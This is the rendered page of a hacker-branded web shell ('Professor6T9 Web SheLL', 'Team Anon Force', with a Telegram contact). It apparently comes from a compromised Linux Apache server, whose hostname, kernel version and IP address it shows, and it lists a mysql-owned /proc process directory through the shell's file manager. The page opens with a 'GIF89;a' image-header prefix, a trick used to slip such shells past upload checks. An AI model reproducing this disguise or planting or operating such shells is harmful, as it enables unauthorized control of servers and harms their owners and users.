GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
 Apache
 198.177.124.167
Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2026-02-12 01:46:51
.. dir - root/root 0555 2026-02-01 05:06:47
attr dir - mysql/mysql 0555 2026-02-21 10:34:19
fd dir - mysql/mysql 0500 2026-02-12 01:46:51
fdinfo dir - mysql/mysql 0500 2026-02-21 10:34:19
map_files dir - mysql/mysql 0500 2026-02-21 10:34:19
net dir - mysql/mysql 0555 2026-02-21 10:34:19
ns dir - mysql/mysql 0511 2026-02-21 10:34:19
task dir - mysql/mysql 0555 2026-02-12 01:47:00
autogroup text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
auxv 0 B mysql/mysql 0400 2026-02-21 10:34:19
cgroup text/plain 0 B mysql/mysql 0444 2026-02-21 10:34:19
clear_refs 0 B mysql/mysql 0200 2026-02-21 10:34:19
cmdline text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
comm text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
coredump_filter text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
cpu_resctrl_groups text/plain 0 B mysql/mysql 0444 2026-02-21 10:34:19
cpuset application/octet-stream 0 B mysql/mysql 0444 2026-02-21 10:34:19
environ 0 B mysql/mysql 0400 2026-02-21 10:34:19
gid_map text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
io 0 B mysql/mysql 0400 2026-02-21 10:34:19
limits text/plain 0 B mysql/mysql 0444 2026-02-21 10:34:19
loginuid text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
maps 0 B mysql/mysql 0444 2026-02-12 01:46:51
mem 0 B mysql/mysql 0600 2026-02-21 10:34:19
mountinfo text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
mounts text/plain 0 B mysql/mysql 0444 2026-02-21 10:34:19
mountstats 0 B mysql/mysql 0400 2026-02-21 10:34:19
numa_maps 0 B mysql/mysql 0444 2026-02-21 10:34:19
oom_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 10:34:19
oom_score text/plain 0 B mysql/mysql 0444 2026-02-21 10:34:19
oom_score_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 10:34:19
pagemap 0 B mysql/mysql 0400 2026-02-21 10:34:19
patch_state 0 B mysql/mysql 0400 2026-02-21 10:34:19
personality 0 B mysql/mysql 0400 2026-02-21 10:34:19
projid_map text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
sched text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
schedstat text/plain 0 B mysql/mysql 0444 2026-02-21 10:34:19
sessionid text/plain 0 B mysql/mysql 0444 2026-02-21 10:34:19
setgroups text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
smaps 0 B mysql/mysql 0444 2026-02-21 10:34:19
smaps_rollup 0 B mysql/mysql 0444 2026-02-21 10:34:19
stack 0 B mysql/mysql 0400 2026-02-21 10:34:19
stat text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
statm text/plain 0 B mysql/mysql 0444 2026-02-12 01:50:02
status text/plain 0 B mysql/mysql 0444 2026-02-12 01:46:51
syscall 0 B mysql/mysql 0400 2026-02-21 10:34:19
timens_offsets text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
timers application/x-empty 0 B mysql/mysql 0444 2026-02-21 10:34:19
timerslack_ns 0 B mysql/mysql 0666 2026-02-21 10:34:19
uid_map text/plain 0 B mysql/mysql 0644 2026-02-21 10:34:19
wchan application/octet-stream 0 B mysql/mysql 0444 2026-02-21 10:34:19
© Professor6T9